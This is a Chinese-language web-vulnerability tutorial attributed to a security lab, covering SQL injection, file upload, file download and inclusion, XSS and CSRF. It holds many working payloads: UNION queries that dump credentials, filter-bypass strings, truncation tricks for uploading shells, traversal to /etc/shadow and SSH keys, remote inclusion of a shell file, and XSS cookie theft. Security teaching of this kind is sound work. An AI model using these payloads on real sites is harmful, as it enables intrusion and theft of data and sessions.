Web安全漏洞原理（5万字最全总结）

资料来源–安恒攻防实验室

目录

• SQL注入漏洞
  • 漏洞原理
    • 举例说明
  • 测试方式
    • 数字型注入：
    • 字符型注入：
    • 搜索型注入：
  • 判断注入方式
  • 如何利用漏洞
    • 识别数据库类型
    • 注入方法（union）
  • 绕过过滤方式
    • 大小写混合
    • 替换关键字
    • 使用编码
    • 使用注释
    • 等价函数与命令
    • 使用特殊符号
    • HTTP参数控制
    • 缓冲区溢出
    • 整合绕过
  • 修复方式
• 任意文件上传漏洞
  • 漏洞产生原因
  • 上传检测过程
    • A.客户端JavaScript验证绕过
    • B.服务端MIME类型检测绕过
    • C.服务端目录路径检测绕过
    • D.服务端文件扩展名检测绕过
    • E.服务端文件内容检测绕过
  • 应用层解析攻击
    • Apache解析漏洞
    • IIS解析漏洞
    • Nginx解析漏洞
  • 攻击流程图
  • 如何防御上传漏洞攻击
• 任意文件下载漏洞
  • 任意文件下载漏洞原因
  • 漏洞利用目的
  • 漏洞利用方法
  • 修复方式
• 文件包含漏洞
  • 文件包含漏洞产生原因
  • 文件包含分类
    
  • 本地文件包含利用方法
    • 防护方式
• XSS跨站脚本漏洞
  • 背景
    • 概述
    • XSS攻击的危害
    • XSS通常出现在哪些地方
    • XSS攻击现状
  • XSS的挖掘方法
    • 常规反射XSS
    • 储存XSS
    • 输出在JavaScript中的XSS-1
    • 输出在JavaScript中的XSS-2
    • 输出在JavaScript中的XSS-3
    • 输出在JavaScript中的XSS-4
    • 输出在CSS中的XSS-1
    • 输出在CSS中的XSS-2
    • 输出在CSS中的XSS-3
    • DOM型XSS-1
    • DOM型XSS-2
    • DOM型XSS-3
  • XSS的利用方法
    • 利用流程
    • 如何发送cookie数据
    • Js发送Ajax请求
    • 表单提交发送
    • 调用外部Js
  • xss利用问题
    • http-only
    • 突破长度
    • 部分字符被过滤
    • 浏览器兼容问题
    • Cookie失效问题
    • 其他问题
    • 总结
  • XSS防御方法
• CSRF跨站请求伪造
  • 概述
    • CSRF模型
    • 可信任的请求
  • Web安全策略
    • 同源策略
    • Cookie安全策略
    • Flash安全策略
    • Web认证方式和浏览器的安全缺陷
  • CSRF攻击
    • 举个例子
  • CSRF利用
    • GET类型的CSRF
      
    • POST类型的CSRF
      
  • CSRF漏洞详细说明
    
    • 作用范围内的威胁
    • 作用范围外的威胁
    • 登录CSRF
      
  • CSRF与XSS比较
    • 攻击实例
  • 现有的CSRF防御方案
    
    • Token验证
      
    • Referer
      
    • 自定义HTTP header
    • Origin字段
      
    • 其他防御方式
  • 各种CSRF案例
• 命令注入漏洞
  • 概论
    • PHP中执行系统命令的函数
    • 常见的命令注入的特殊符号
• 逻辑漏洞
  • 权限和流程漏洞
  • 常见的逻辑漏洞
    • 应用系统漏洞
    • 应用系统漏洞
    • 越权漏洞
  • 越权漏洞利用方式
    • 信息遍历
    • 隐藏后台
    • Cookie绕过
    • JavaScript绕过

常见的WEB漏洞

• SQL注入漏洞
• 任意文件上传漏洞
• 任意文件下载漏洞
• 文件包含漏洞
• XSS跨站脚本漏洞
• CSRF跨站请求伪造漏洞
• 命令注入漏洞
• 逻辑漏洞

SQL注入漏洞

漏洞原理

SQL注入（SQL Injection）：程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据或进行数据库操作。是发生于应用程序之数据库层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏或是入侵。

举例说明

假设有如下网站，通过id编号来索引文章：

http://www.xxx.com/paper.php?id=1

后台PHP语句可能是这样的：

$result = mysql_query(“SELECT * FROM paper where id = ‘$_GET[‘id’]’”);

然后传入数据库执行的SQL语句是这样的：

SELECT * FROM paper where id =‘1’;

测试方式

最简单的测试方式：

• http://www.xxx.com/paper.php?id=1’
• http://www.xxx.com/paper.php?id=1’and ‘1’=‘1
• http://www.xxx.com/paper.php?id=1’and ‘1’=‘2

在id参数的后面分别添加以上的内容会发生什么？

我们可以发现我们通过精心构造的语句发送给后台，然后后台将我们的语句拼接成SQL语句执行从而达到了控制返回后台返回的结果，我们可以进一步构造语句，来查询我们想要的结果，甚至是在数据库中插入木马。

不同注入类型的测试方式

数字型注入：

• http://www.xxx.com/paper.php?id=1’
• http://www.xxx.com/paper.php?id=1 and 1=1
• http://www.xxx.com/paper.php?id=1 and 1=2

后台SQL语句：

• SELECT * FROM paper where id = 1’
• SELECT * FROM paper where id = 1 and 1=1
• SELECT * FROM paper where id = 1 and 1=2

1和3请求返回错误或者异常，2请求返回正常

字符型注入：

• http://www.xxx.com/paper.php?id=car’
• http://www.xxx.com/paper.php?id=car’and ’1’=‘1
• http://www.xxx.com/paper.php?id=car’and ‘1’=‘2

后台SQL语句：

• SELECT * FROM paper where id = car’
• SELECT * FROM paper where id = car’and ‘1’=‘1
• SELECT * FROM paper where id = car’and ‘1’=‘2

1和3请求返回错误或者异常，2请求返回正常

搜索型注入：

• http://www.xxx.com/paper.php?id=car%’and ‘%’=‘
• http://www.xxx.com/paper.php?id=car%’and ‘’=‘

后台SQL语句：

• SELECT * FROM paper where id like‘%car%’and ‘%’=‘%’
• SELECT * FROM paper where id like %car%’and ‘’=‘%’

1请求会返回正常的搜索结果，2请求返回的搜索结果为空

判断注入方式

内联式SQL注入：内联注入是指查询注入SQL代码后，原来的查询仍然全部执行，通过and或者or构造闭合的完整的永正或者永假的SQL语句判断注入方式。

终止式SQL注入：终止式SQL语句注入是指攻击者在注入SQL代码时，通过注释剩下的查询来成功结束该语句。被注释的查询不会被执行。

常见的终止方式：

终止字符串：-- ，#，%23，%00，/*

终止方法：-- , ‘-- , ‘)-- , ) – ,

‘))–, ))–

注入点在哪？

所有的输入只要和数据库进行交互的，都有可能触发SQL注入。

常见的包括：

• GET参数
• POST参数
• Cookie参数
• 常见的HTTP请求头
• 其他参与sql执行的输入都有可能进行SQL注入

如何利用漏洞

识别数据库类型

1.常见架构识别数据库类型

• asp + access
• asp + mssql
• asp.net + mssql
• php + mysql
• Jsp + oracle
• Jsp + mysql

2.根据报错信息判断数据库类型

3.通过特有数据表进行判断

• MySQL : information_schema
• SQL Server : sysobjects
• Access : msysobjects
• Oracle : sys

MySQL : http://www.xxx.com/test.php?id=100and (select count( *) from information_schema. TABLES)>0 and 1=1

4.通过不同数据库的字符串连接符判断

• MySQL : ‘1’ ‘1’=‘11’
• SQL Server : ‘1’+ ‘1’=‘11’
• Oracle : ‘1’|| ‘1’=‘11’

MySQL : http://www.xxx.com/test.php?id=100 and ‘1’+’1’=‘11’

注入方法（union）

使用union获取数据规则：

• 两个查询返回的列数必须相同
• 两个SELECT语句返回的数据库对应的列必须类型相同或兼容
• 通常只有终止式注入时，可较快猜解并利用，否则要知道原始的SQL语句才能比较方便的利

Union语句的构建：

• 万能列类型：大部分数据库中NULL可兼容任何类型的数据，所有可使用NULL匹配数据表的列类型。
• 确定列数量：使用union select null,null,null,…,null from dual逐步增加null数量，直到匹配原语句的列数量，成功匹配后返回正常页面。

使用order by 确原语句列数量，可使用折半查找法提高猜测效率

• 确定列类型：Union select 1,’2’,null,…,null from dual，先猜测第一列为数字，如果不正确则判断为字符，如果还是不正确则保持null不变（可能为二进制类型），依次完成部分或全部类型的判断。
• 其他： Mysql数字/字符类型可直接转换，可直接使用select 1,2,3,…,n方式构建union。

UNION注入实例

猜解当前网页的字段数:

• news.php?id=1 order by 6
• news.php?id=1 order by 7

爆破数据库基本信息:

• news.php?id=1and 1=2 union select 1,2,3,concat(user(),0x20,database(),0x20,version()),5,6

爆破数据库表信息：

• News.php?id =1 and 1=2 union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=‘table_name’

爆破数据库字段信息：

News.php?id =1 and 1=2 union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=‘table_name‘

爆破表数据：

New.php?id=1 and 1=2 union select 1,2,3,4,5, group_concat(username, 0x20,password) form table_name

Union不适用的地方：

• 注入语句无法截断，且不清楚完整的SQL查询语句
• Web页面中有两个SQL查询语句，查询语句的列数不同

其他注入方法：

• 报错注入
• 盲注
• Sql宽字节注入

绕过过滤方式

大小写混合

• ?id=-15 uNIoN sELecT 1,2,3,4

替换关键字

• ?id=-15 UNIunionON SELselectECT 1,2,3,4

使用编码

• 1.URL编码
• 2.十六进制编码
• 3.Unicode编码

使用注释

• //, – , / **/, #, --+, – -, ;%00
• 1.普通注释:id=1 UnIoN/ **/SeLeCT
• 2.内联注释:id=1 / !UNION/ / !SELECT/ 1,2,3

等价函数与命令

• 1.函数或变量
• hex()、bin() ==> ascii(),sleep() ==>benchmark()
• @@user ==> user(),@@datadir ==> datadir()
• 2.符号
• And ==> && , or ==> ||
• 3.生僻函数

使用特殊符号

• 1.使用反引号:select `version()`
• 2.使用’-+.’:有些时候’-+.’可用于字符串连接
• 3.@符号：@username,@@表示系统变量
• 4.关键字拆分：‘se’+‘lec’+'t‘, (UnI)(oN)+(SeL)(EcT)

HTTP参数控制

• 1.HTTP参数重复污染：?id=1;select+1&id=2,3+from+users+where+id=1—
• 2.HTTP参数分割:
• /?a=1+union/ &b=/select+1,pass/ &c=/from+users-

缓冲区溢出

• ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

整合绕过

• 整合的意思是结合使用前面谈到的各种绕过技术单一的技术可能无法绕过过滤机制但是多种技术的配合使用成功的可能性就会增加不少了
• ?id=-725+/ !UNION/+/ !SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/ *!INFORMATION_SCHEM */.COLUMNS+WHERE+TABLE_NAME=0x41646d696e–

常见的工具

辅助工具：

• Hackbar插件
• Burp Suite
• 注入工具：
• 注入神器：sqlmap

练习平台：

• https://github.com/Audi-1/sqli-labs

修复方式

过滤，转义参数！

过滤，转义参数！

过滤，转义参数！

重要的事说三遍！

任意文件上传漏洞

任意文件上传漏洞

漏洞产生原因

• 代码层：开发者由于对安全意识不足，或者编写代码时对上传文件的合法校验存在缺陷，导致上传漏洞的产生。
• 应用层：web容器漏洞、处理差异（cgi）、配置不当

攻击者可以利用文件上传漏洞上传精心构造的恶意文件，网页木马到服务器，从而获取权限。

一般只要能注册普通用户，时常都能找到上传头像或附件之类的地方，这些地方就是好的突破点，只要有办法绕过上传验证，并找到一句话木马的web路径基本上就能拿下这个站点。

上传检测流程图

通常一个文件以HTTP协议进行上传时，将以POST请求发送至web服务器web服务器接收到请求后并同意后，用户与web服务器将建立连接，并传输data 而一般一个文件上传过程中的检测如下图红色标记部分：

上传检测过程

• A.客户端javascript检测 (通常为检测文件扩展名)
• B.服务端MIME类型检测 (检测Content-Type内容)
• C.服务端目录路径检测 (检测跟path参数相关的内容)
• D.服务端文件扩展名检测 (检测文件扩展名)
• E.服务端文件内容检测 (检测内容是否合法或含有恶意代码)

A.客户端JavaScript验证绕过

客户端JavaScript验证通常是白名单验证上传文件的后缀名可通过浏览器禁用JavaScript或者本地修改JavaScript代码绕过验证，也可以先使用合法的后缀名，然后上传时通过Burp Suite抓包改后缀名绕过上传。

辅助工具：

• Burp Suite
• 火狐插件NoScript

B.服务端MIME类型检测绕过

服务端MIME类型检测是通过HTTP请求头中的Content-type (Mime-type)检测的，常见的Content-type头对应的后缀如下：

• text/plain 文本文件
• text/html .html
• image/gif .gif
• image/jpeg .jpg
• image/png .png

可以通过抓包更改Content-type为合法的内容绕过验证

C.服务端目录路径检测绕过

服务端目录路径检测，一般就是检测路径是否合法，但稍微特殊一点的都没有防御。漏洞成因是因为对目录路径的检测不够严谨而导致可以用0x00截断进行攻击。

当POST下面的URL的时候
/fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&
CurrentFolder=shell.php%00.gif HTTP/1.1

接受函数可能会被%00截断，将文件名保存为

shell.php

D.服务端文件扩展名检测绕过

服务端文件扩展名检测可分为白名单检测和黑名单检测，对于扩展名检测不强的，时常还可以结合目录路径攻击 比如filename=“test.asp/evil.jpg” 之类。

黑名单检测：

• 文件名大小写绕过：如.AsP,.phP等等
• 名单列表绕过:用黑名单里没有的扩展名进行攻击，前提是文件还是可以正常解析执行，如.asa，.cer，.php5
• 特殊文件名绕过:如.asp.或者.asp _(下划线为空
  )，这种命名方式在windows系统里是不被允许的，所以需要在burp之类里进行修改，然后绕过验证后，会 被windows系统自动去掉后面的点和空格，但要注意Unix/Linux系统没有这个特性。
• 0x00截断绕过：用像test.asp%00.jpg的方式进行截断
• htaccess文件攻击:配合名单列表绕过，上传一个自定义的.htaccess，就可以轻松绕过各种检测

白名单检测：

• 0x00截断绕过：用像 test.asp%00.jpg的方式进行截断，属于白名单文件，再利用服务端代码的检测逻辑漏洞进行攻击，目前我只遇到过asp的程序有这种漏。
• 解析调用/漏洞绕过：这类漏洞直接配合上传一个代码注入过的白名单文件即可，再利用解析调用/漏洞(同样也适用于黑名单检验)

E.服务端文件内容检测绕过

如果文件内容检测设置得比较严格，那么上传攻击将变得非常困难 也可以说它是在代码层检测的最后一道关卡 如果它被突破了，就算没有代码层的漏洞 也给后面利用应用层的解析漏洞带来了机会。

文件幻术检测：主要是检测文件内容开始处的文件幻数，比如图片类型的文件幻数如下：

文件相关信息检测：图像文件相关信息检测常用的就是 getimagesize()函数 只需要把文件头部分伪造好就 ok了，就是在幻数的基础上还加了一些文件信息 有点像下面的结构：

加载文件检测：这个是最变态的检测了，一般是调用 API或函数去进行文件加载测试 常见的是图像渲染测试，再变态点的甚至是进行二次渲染。对渲染/加载测试的攻击方式是代码注入绕过，对二次渲染的攻击方式是攻击文件加载器自身，常见的是溢出攻击，上传自己的恶意文件后，服务器上的文件加载器会主动进行加载测试 加载测试时被溢出攻击执行shellcode。

应用层解析攻击

前面讲到的几种绕过检测进行攻击的是代码层漏洞，可以说是完全没有防御或者说是有一点防御，但是随着安全意识的增强，现在基本上的主流攻击都在配合解析这一块所以了解各类解析漏洞/机制是相当重要的，下面重点讲解Web应用程序解析漏洞及其原理：

• Apache/IIS/Nginx解析漏

Web应用程序解析漏洞成因：

• a）web容器漏洞
• b）web服务器与cgi处理差异
• c）运帷人员配置不当

Apache解析漏洞

Apache解析漏洞： Test.php.jpg

一个文件名为x1.x2.x3的文件， Apache会从x3的位置往x1的位置开始尝试解析 如果x3不属于Apache能解析的扩展名，那么Apache会尝试去解析x2的位置， 这样一直往前尝试，直到遇到一个能解析的扩展名为止。jpg为非apache解析的文件名，则继续往前解析。

利用场景：文件上传后不进行文件名重命名

测试版本：

• Apache 2.0.x <= 2.0.59
• Apache 2.2.x <= 2.2.17
• Apache 2.2.2 <= 2.2.8

IIS解析漏洞

IIS6解析漏洞： test.asp/任意文件名 |test.asp;任意文件名 | 任意文件名/任意文件名.php

IIS6.0在解析asp格式的时候有两个解析漏洞，一个是如果目录名包含“.asp”字符串， 那么这个目录下所有的文件都会按照asp去解析，另一个是只要文件名中含有“.asp;” 会优先按asp来解析。

IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞，对任意文件名只要在URL 后面追加上字符串“/任意文件名.php”就会按照php的方式去解析，如test.jpg/shell.php

利用场景：

• 1.可上传文件或者创建文件夹
• 2.上传文件不被重命名

Nginx解析漏洞

Nginx解析漏洞：任意文件名/任意文件名.php| 任意文件名%00.php

目前Nginx主要有这两种漏洞，一个是对任意文件名，在后面添加/任意文件名.php 的解析漏洞，比如原本文件名是test.jpg，可以添加为test.jpg/x.php进行解析攻击。 还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。（第一个漏洞其实是php-cgi的漏洞，与Nginx和IIS无关）

测试版本：

• nginx0.5.*
• nginx0.6.*
• nginx0.7<=0.7.65
• nginx0.8<=0.8.37

攻击流程图

如何防御上传漏洞攻击

任意文件下载漏洞

任意文件下载漏洞原因

漏洞产生原因：许多网站开放下载文件功能，由于下载功能代码对下载文件类型、目录未做限制或限制不当，导致攻击者可下载服务器任意文件。

漏洞利用目的

利用目的：

1.下载web源代码

• 1）数据库配置文件-> 通过远程数据库链接工、
• 在线数据库管理工具等链接获取数据库控制权
• -> a) 拖库、篡改数据库；b) 获取数据库信息而一步攻击；c) 直接提权（mysql udf提权、sqlserver sa提权等）
• 2）其他源代码-> 分析源代码，寻找漏洞-> 进一步攻击

2.下载服务器敏感文件

• passwd、shadow、web容器配置文件、其他软件配置文件等

漏洞利用方法

利用方法：

• 1、利用回溯符绕过限制：…/…/…/etc/passwd
• 2、利用%00截断等绕过后缀限制:/etc/passwd%00

修复方式

修复方式：

• 对下载传入的参数进行过滤
• 限制下载文件目录
• 限制下载文件类型

文件包含漏洞

文件包含漏洞产生原因

由于开发人员编写源码，开发者将可重复使用的代码插入到单个的文件中，并在需要的时候将它们包含在特殊的功能代码文件中，然后包含文件中的代码会被解释执行。由于并没有针对代码中存在文件包含的函数入口做过滤，导致客户端可以提交恶意构造语句提交，并交由服务器端解释执行。文件包含攻击中WEB服务器源码里可能存在inlcude()此类文件包含操作函数，可以通过客户端构造提交文件路径，是该漏洞攻击成功的最主要原因。

简单示例

if ($_GET[‘func’]) {

include $_GET[‘func’];

} else {

include ‘default.php’;

}

http://example.com/index.php?func=add.php

http://example.com/index.php?func=upload/pic/evil.jpg

且evil.jpg是由黑客上传到服务器上的一个图片，在图片的末尾添加了恶意的php代码，那么恶意的代码就会被引入当前文件执行。如果被包含的文件中无有效的php代码，则会直接把文件内容输出。

文件包含分类

本地文件包含

• 1、相关函数内的参数可控

远程文件包含

• 1、相关函数内的参数可控
• 2、allow_url_fopen = On

常见的产生文件包含漏洞的函数：

• require()
• include()
• require_once()
• include_once()

本地文件包含利用方法

本地文件包含常规利用方法：

• 1、发现本地文件包含
• 2、寻找上传功能
• 3、利用包含漏洞包含解析

普通本地文件包含

<? ']); ?>

包含同目录下的文件：

php include(“inc/” . $_GET['file?file=.htaccess

目录遍历：?file=…/…/…/…/…/…/…/…/…/var/lib/locate.db ?file=…/…/…/…/…/…/…/…/…/var/lib/mlocate/mlocate.db

linux中这两个文件储存着所有文件的路径，需要 root权限

包含错误日志：

?file=…/…/…/…/…/…/…/…/…/var/log/apache/error.log （试试把UA设置为“”来使payload进入日志）

获取web目录或者其他配置文件：?file=…/…/…/…/…/…/…/…/…/usr/local/apache2/conf/httpd.conf

包含上传的附件：?file=…/attachment/media/xxx.file

如果拥有root权限还可以试试读这些东西：

• /root/.ssh/authorized_keys
• /root/.ssh/id_rsa
• /root/.ssh/id_rsa.keystore
• /root/.ssh/id_rsa.pub
• /root/.ssh/known_hosts
• /etc/shadow
• /root/.bash_history
• /root/.mysql_history

有限制的本地文件包含

<?php include(“inc/” . $_GET[‘file’] . “.htm”); ?>

%00截断：?file=…/…/…/…/…/…/…/…/…/etc/passwd%00 (需要 magic_quotes_gpc=off，PHP小于5.3.4有效)

%00截断目录遍历：?file=…/…/…/…/…/…/…/…/…/var/www/%00 (需要 magic_quotes_gpc=off，unix文件系统，比如FreeBSD，OpenBSD，NetBSD，Solaris)

路径长度截断：?file=…/…/…/…/…/…/…/…/…/etc/passwd/././././././.[…]/./././././.

(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)

问号截断：

?file=test.jpg?

点号截断：?file=…/…/…/…/…/…/…/…/…/boot.ini/………[…]…………

(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)

利用特殊协议

利用php流input：

?file=php://input 包含的数据在post包里面

利用php流filter：?file=php://filter/convert.base64-encode/resource=index.php

利用data URIs：?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

?file=data:;base64,PD9waHBpbmZvKCk7Lyo=

?file=data:text/plain,<?php system(“uname -a”);?>

(需要allow_url_include=On)

远程文件包含利用方法

远程文件包含利用方法：

• 1、拥有一台远程服务器
• 2、在服务器上放置一个不可被本服务器上web容器解析的文件（txt、jpg）
• 3、文件内容中包含攻击代码
• 4、利用远程包含文件漏洞包含

普通远程文件包含

<?php include($_GET[‘file’]); ?>

远程代码执行：?file=[http|https|ftp]😕/example.com/shell.txt

(需要allow_url_fopen=On并且 allow_url_include=On)

<?php include($_GET[‘file’] . “.htm”); ?>

• ?file=http://example.com/shell
• ?file=http://example.com/shell.txt?
• ?file=http://example.com/shell.txt%23
• (需要allow_url_fopen=On并且allow_url_include=On)
• ?file=\evilshare\shell.php
• (只需要allow_url_include=On)

延伸

前面也说了，这些漏洞产生原因是PHP函数在引入文件时，传入的文件名没有经过合理的校验，从而操作了预想之外的文件。实际上我们操作文件的函数不只是include()一个，上面提到的一些截断的方法同样可以适用于以下函数：

防护方式

对传入的文件名，文件路径进行合理的校验

XSS跨站脚本漏洞

背景

在Web 2.0出现以前，XSS跨站脚本攻击不是那么引人注目，但是在Web 2.0出现以后，配合流行的AJAX技术，XSS跨站脚本攻击的危害性达到了十分严重的地步。比如，世界上第一个XSS跨站脚本蠕虫发生在MySpace网站，20小时内就传染了一百万个用户，最后导致该网站瘫痪。随着SNS社交网站、微博系统的出现，Web应用安全重心转移到用户账号安全上，XSS攻击成为当今最流行的一种攻击方式，同时也是Web应用面临的主要威胁。

概述

XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意HTML代码，当用户浏览该页面时，嵌入Web页面的HTML代码会被执行，从而达到恶意用户的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常忽略其危害性。在XSS攻击中，一般有三个角色参与：攻击者、目标服务器、受害者的浏览器。

XSS攻击的危害

XSS通常出现在哪些地方

XSS攻击现状

XSS的挖掘方法

常规反射XSS

在搜索关键字里填入：<script>alert(/xss/)</script>，点击搜索，页面弹出对话框，这里我们提交的关键字，被当做Javascript执行，那么这里就可以进行XSS攻击。

在这里Web程序接收到我们输入的关键字后，然后将关键字重http请求中取出来再次放到页面中，将页面内容输出到用户浏览器，浏览器解析html，遇到我们的XSS测试代码，成功执行。

储存XSS

我们在内容中输入XSS测试代码：<script>alert(/xss/)</script>，点击提交，数据将存放到mysql数据库中。程序将攻击代码查询出来输出到HTML中，成功执行了攻击代码

输出在JavaScript中的XSS-1

输出在JavaScript中的XSS-2

输出在JavaScript中的XSS-3

输出在JavaScript中的XSS-4

输出在CSS中的XSS-1

输出在CSS中的XSS-2

输出在CSS中的XSS-3

假如这里的标签<script>被过滤，我们还可以用Expression（CSS Expression（CSS 表达式）也被称作 “Dynamic Properties（动态特性）” ，最初由 IE5.0 引入。它允许开发人员通过 CSS 选择器动态地为页面绑定脚本。）方法来攻击，不过此方法，只能针对IE8以下版本的IE浏览器进行攻击。

DOM型XSS-1

DOM型XSS-2

DOM型XSS-3

XSS的利用方法

利用流程

通常XSS利用的流程是：利用AJAX发送Cookie信息到收信端，收信端保存cookie，并进行keepsession，保持cookie有效期，然后利用cookie进行一系列的攻击利用。

如何发送cookie数据

AJAX 在浏览器与 Web 服务器之间使用异步数据传输（HTTP 请求），这样就可使网页从服务器请求少量的信息，而不是整个页面。简单来说就是看不到刷新效果的异步HTTP请求。

Js发送Ajax请求

表单提交发送

调用外部Js

xss利用问题

http-only

什么是Http-only：只能用于传输，而不能被脚本(如：javascript)获取

方式一、 HTTP Trace (CROSS-SITE TRACING, XST)

IE6时代的 http-only绕过技术

目前通用方法

方式二、phpinfo探针文件

某些php探针文件会将当前用户cookie打印出来，可以ajax请求探针文件，找到cookie在发送到收信端

方式三、WEB服务器漏洞 – Apache<2.2.22 (CVE-2012-0053)

Apache HTTP Server 2.2.x多个版本没有正确严格限制HTTP请求头信息，HTTP请求头信息超过LimitRequestFieldSize长度时服务器返回400（Bad Request）错误，并在返回信息中将出错请求头内容爆出，攻击者可以利用该漏洞获取httponly cookies

突破长度

短地转换,减少字符长度

部分字符被过滤

程序只对大写或小写的跨站标签过滤，如过滤<script>、</script>

我们输入：<script>alert()</script>,被防XSS放过滤程序过滤后输出了：alert();

这里首先我们可以以下方法绕过：

1.使用大写绕过：<SCript>、<SCRipt>等写法

2.<SC <SCript> ript>方式绕过，程序将<SC <SCript> ript>中的< <SCript> >过滤后输出的变成了<SCript>

上面介绍的是常规的传统上的简单绕过，当然有时候程序会对代码进行utf-8,base64、uri编码等，针对不同的场景，有不同的方法

Javascript中的几个函数可以帮助我们绕过一些简单防御，如：单引号、双引号被过滤。

浏览器兼容问题

浏览器兼容问题：Web前端开发人员最头疼的一件事

由于各种浏览器对html的解析存在差异，造成了浏览器兼容问题

所以针对不同的浏览器需要耐心调整利用代码，解决兼容性

Cookie失效问题

由于HTTP协议是一种无状态协议，每次向服务器发送请求，都要发送身份信息，服务器不会因为只发送一次请求，后面就认识了，而不用再发送身份信息了。在Web应用中，通常有两种身份识别方式，即Cookie、Session。

Cookie方式是指将用户身份存放到用户本地浏览器中，每次向服务器发送请求，浏览器都会自动带上Cookie信息；而Session方式是指用户的身份信息存放在服务器端，将对应的一个key值存放在Cookie中，像我们日常见到的aspsessionId、jsessionid、phpsessionid，客户端每次向服务器发送请求时，将cookie中key值发送到服务器端，服务器端接收到key值，根据key值找到对应的身份信息。

通常上述身份验证方式都有一个有效时间，Session方式一般是默认的30分钟后失效，所以为了在收到Cookie后可以利用，通常会使用一个keepsession的小程序，去保持Session的有效期。这个小程序一般是每隔一段时间（一般是小于30分钟）去想服务器发送一次请求，这样Session会自动将有效期延后，通过这种方式可以长期的保持Session的有效期。

其他问题

后台在内网被隔离、访问IP受限等。

解决办法：

1. 尝试使用XSS获取后台页面数据，返回本地后进行分析是否

存在可以利用的链接，未发现，继续获取子页面内容进行分析。

2.利用XSS扫内网端口，国外某些黑客就这样干过

3.利用XSS执行命令、挂马等反弹权限

总结

XSS防御方法

XSS过滤器

• 输入过滤<,>,’,”,&,\,(,),/,eval, javascript,document等关键字
• 注意二次DOM操作引发XSS
• 用户输入进行数据合法性验证
• Flash设置同源策略、禁止用户上传Flash
• Cookie增加http-only标记

由于很多地方都可能产生XSS漏洞，而且每个地方产生漏洞的原因又各有不同，所以对于XSS的防御来说，我们需要在正确的地方做正确的事情，即根据 不可信数据将要被放置到的地方进行相应的编码，比如放到<div>标签之间的时候，需要进行HTML编码，放到<div>标签属 性里的时候，需要进行HTML属性编码等等。

Web应用变得越来越复杂，也越来越容易产生各种漏洞而不仅限于XSS漏洞，不可能一次性解决所有安全问题，我们只能处处留意，针对不同的安全漏洞进行针对性的防御。

CSRF跨站请求伪造

概述

CSRF（Cross-site request forgery）跨站请求伪造，是一种广泛存在的网站漏洞。Gmail、YouTube等著名网站都有过CSRF漏洞。由于目标站无token/referer限制，导致攻击者可以用户的身份完成操作达到各种目的。

1、跨站点的请求；2、请求是伪造的。

被攻击者的浏览器被迫向目标站点发起了伪造的请求，这个过程会带上被攻击者的身份验证标识（session）以通过目标站点的验证。从而借用被攻击者在目标站点上的权限进行一系列不被期望的操作。

CSRF模型

恶意站点 = 目标站点，同域CSRF。

恶意站点 != 目标站点，跨域CSRF。

也许包含的CSRF攻击代码：

• <img src=“http://目标站点/action=delete&id=7”>
• <form action=“http://目标站点/post.php”>

<input type=“text” style=“…” name=“title” value=“csrf” /><input …

</form>

• <iframe src=“…”>
• …<param name=“movie” value=“post_as3.swf” /> <embed src="post_as3.swf“…

可信任的请求

正常的请求、伪造的请求。

• 浏览器、目标站点没对它们进行区分。

主要请求的类型：

• POST型CSRF、GET型CSRF。
• 利用各种技术在客户端发起有效的POST请求与GET请求。
• 各种技术：JavaScript, ActionScript, HTML/CSS, XML, ASP, PHP, JSP, .NET等等。

用户驱动下的请求：

• 主动的、被动的。

Web安全策略

与CSRF有关的主要有三个Web安全策略：同源策略、Cookie安全策略和Flash安全策略。

同源策略

Cookie安全策略

Flash安全策略

同源策略

同源指的是：同协议，同域名和同端口。同源策略，简单地说就是要求动态内容(例如，JavaScript或者VBScript)只能读取或者修改与之同源的那些HTTP应答和Cookie．而不能读取来自不同源的内容。浏览器的同源策路限制了脚本只能访问同源下的资源。

同源策略仅仅阻止了脚本读取来自其他站点的内容．但是却没有防止脚本向其他站点发出请求。因为CSRF攻击是由于某些请求被发出，而引起在服务器端执行了某些动作所引起的，所以同源策略无法防止CSRF攻击。

Cookie安全策略

RFC2109定义了Cookie的安全策略。服务器设置Cookie值并为Cookie设置安全属性。Cookie的安全属性包括了Domain、Path、Secure、Expires、MaxAge和HttpOnly等。Cookie安全策略类似于同源策略并且要比同源策略更安全一些，但是利用脚本，可以把Cookie的安全级别降低．甚至Cookie的path属性可以被完全绕过。如果一位攻击者可以突破或绕过两源策略的话，就可以通过DOM的变量document．cookie轻松读取Cookie。

浏览器

本地cookie：

• IE及IE内核浏览器：CSRF时，阻止带上本地cookie
• FireFox,Chrome等浏览器：没这种限制。

内存cookie：

• 即session cookie。
• IE与FireFox等浏览器不会阻止这类cookie。

多标签浏览器：

• 关闭标签页时，session cookie没被清除。
• 其他问题：
• session的浏览器窗口继承问题。

Flash安全策略

默认时，Flash的安全策略与同源策略非常类似，来自于某个域的Flash应用只可以读取来自该域的响应。但是Flash的安全策略并不被同源策略限制．Adobe公司定义了F1ash的跨域策略，该策略通常定义在一个名为crossdomain．xml的策略文件中。该文件定义了哪些域可以和当前域通信。错误的配置文件可能导致Flash突破同源策略

Web认证方式和浏览器的安全缺陷

